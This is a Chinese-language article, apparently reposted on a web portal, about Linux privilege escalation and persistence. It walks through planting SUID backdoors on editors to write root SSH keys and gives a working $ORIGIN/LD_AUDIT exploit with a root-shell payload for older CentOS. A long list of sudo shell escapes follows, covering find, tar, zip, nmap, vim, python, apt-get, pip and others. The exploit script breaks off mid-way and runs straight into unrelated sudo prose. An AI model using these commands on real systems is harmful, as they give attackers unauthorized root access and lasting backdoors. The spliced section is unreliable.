Linux权限维持与提权
当攻击者临时获得了root权限,而设置suid是权限
Linux权限维持与提权用到了ATT&CK框架中的T1166技术,应用程序设置setuid或setgid位时,这意味着应用程序将分别以拥有用户或组的权限运行。 当攻击者临时获得了root权限,而设置suid是权限维持的一种方法,将vim、nano等命令设置为特殊权限,如nano命令被设置后门,可以修改/root/.ssh/authorized_keys进行无密码登录,除此之外还有各种方式留后门。 SUID特殊权限提权 SUID的功用:用户运行某程序时,如果此程序拥有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而程序文件自己的属主; passwd设置了特殊权限,修改密码时允许修改shadow文件。 添加特殊权限命令: Chmod u+s /usr/bin/vim Chmod g+s /usr/bin/vim 当vim拥有特殊权限,可以查看shadow文件添加任务记录、添加用户、添加 /root/.ssh/authorized_keys 除了自己添加外,还可以在当前系统查找是否有特殊权限的程序。 查找SUID、SGID文件 #Find SUID find / -perm-u=s -type f 2>/dev/null #Find GUID find / -perm-g=s -type f 2>/dev/null 利用/bin/ping特殊权限提权 在某次实战过程中,遇到过低版本的Centos5-6,可利用以下方式提权: 在/tmp下创建可控制的目录 $ mkdir /tmp/exploit 链接到suid二进制程序以更改$ORIGIN的定义 $ ln /bin/ping /tmp/exploit/target 打开到目标二进制程序的文件描述符 $ exec 3< /tmp/exploit/target 现在可通过/proc访问描述符 $ ls -l /proc/$$/fd/3 lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 ->/tmp/exploit/target* 删除之前所创建的目录 $ rm -rf /tmp/exploit/ /proc链接仍存在linux权限,但已标记为已被删除 $ ls -l /proc/$$/fd/3 lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 ->/tmp/exploit/target (deleted) 使用负载DSO替换目录,使$ORIGIN成为到dlopen()的有效目标 $ cat > payload.c void __attribute__((constructor)) init() { setuid(0); system("/bin/bash"); } ^D $ gcc -w -fPIC -shared -o /tmp/exploit payload.c $ ls -l /tmp/exploit -rwxrwx--- 1 taviso taviso 4.2K Oct 15 09:22 /tmp/exploit* 通过LD_AUDIT强制/proc中的链接加载$ORIGIN $ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3 sh-4.1# whoami root sh-4.1# id uid=0(root) gid=500(taviso) bash脚本: #!/bin/sh unset LD_AUDIT rm -r -f /tmp/exploit mkdir /tmp/exploit ln /bin/ping /tmp/exploit/target exec 3< /tmp/exploit/target ls -l /proc/$$/fd/3 rm -rf /tmp/exploit ls -l /proc/$$/fd/3 cat > program.c 检查/var/db/sudo/目录下是否有用户时间戳 -> 检查/etc/sudoers配置文件,用户是否有sudo权限 -> 执行sudo命令并反回结果 -> 退出sudo返回普通用户shell环境。 其中步骤2检查:时间戳默认从上一次执行sudo命令5分钟后过期。 /etc/sudoers或者使用visudo命令进行编辑。 文件语法: root ALL=(ALL) ALL root表示用户名 使用sudo -l查看当前权限。 find命令获取root权限 sudo find /home -exec /bin/bash \; 各类命令特殊权限利用方式 zip、tar、strace、nmap、more、git、ftp、vim、passwd zip: sudo zip/tmp/tmp.zip /tmp/ -T --unzip-command="sh -c /bin/bash" - -T 表示测试test.zip的完整性 - --unzip-command 与-T一起使用,可以指定自定义命令用于解压test.zip tar: sudo tar cf/dev/null test --checkpoint=1 --checkpoint-action=exec=/bin/bash - --checkpoint-action选项是提权点,可以自定义需要执行的动作 strace: sudostrace -o /dev/null /bin/bash nmap: 低版本的nmap3.x 有interactive模式,且设置了suid,这个时候可以进入交互模式 执行!sh 命令即可轻松完成提权。 echo "os.execute('/bin/bash')" > /tmp/shell.nse sudo nmap --script=/tmp/shell.nse more: sudo more /etc/hosts !/bin/bash git: sudo git help status !/bin/bash ftp: sudo ftp ftp> !/bin/bash vim: sudo vim -c'!bash' perl、python、less、awk、man、vi perl: sudo perl -e'exec "/bin/bash";' python: sudo python -c'import pty;pty.spawn("/bin/bash")' less: sudo less /etc/hosts v :shell awk: sudo awk 'BEGIN{system("/bin/bash")}' man: sudo man man !/bin/bash vi: sudo vi :!bash apt-get、apt、dpkg sudo apt-getupdate -o APT::Update::Pre-Invoke::="/bin/bash -i" sudo apt-get changelog apt !/bin/bash TF=$(mktemp) echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF sudo apt-get install -c $TF sl ed、sed、pip、taskset ed: sudo ed !/bin/bash sed: sudo sed -n '1eexec bash 1>&0' /etc/passwd pip: TF=$(mktemp -d) echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh$(tty) 2>$(tty)')" > $TF/setup.py sudo pip install $TF taskset: sudo taskset 1/bin/sh –p aria2c、arp、base64?cpan aria2c: sudo sh -c 'cp $(which aria2c) .; chmod +s ./aria2c' COMMAND='id' TF=$(mktemp) echo "$COMMAND" > $TF chmod +x $TF ./aria2c --on-download-error=$TF arp: LFILE=file_to_read sudo arp -v -f "$LFILE" base64: LFILE=file_to_read sudo base64 "$LFILE" | base64 --decode cpan: sudo cpan ! exec '/bin/bash' ...... Linux命令深度利用 - [Linux下PAM模块学习总结] () - [关于openssh通用后门的拓展]() 预览时标签不可点 (编辑:淮北站长网) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |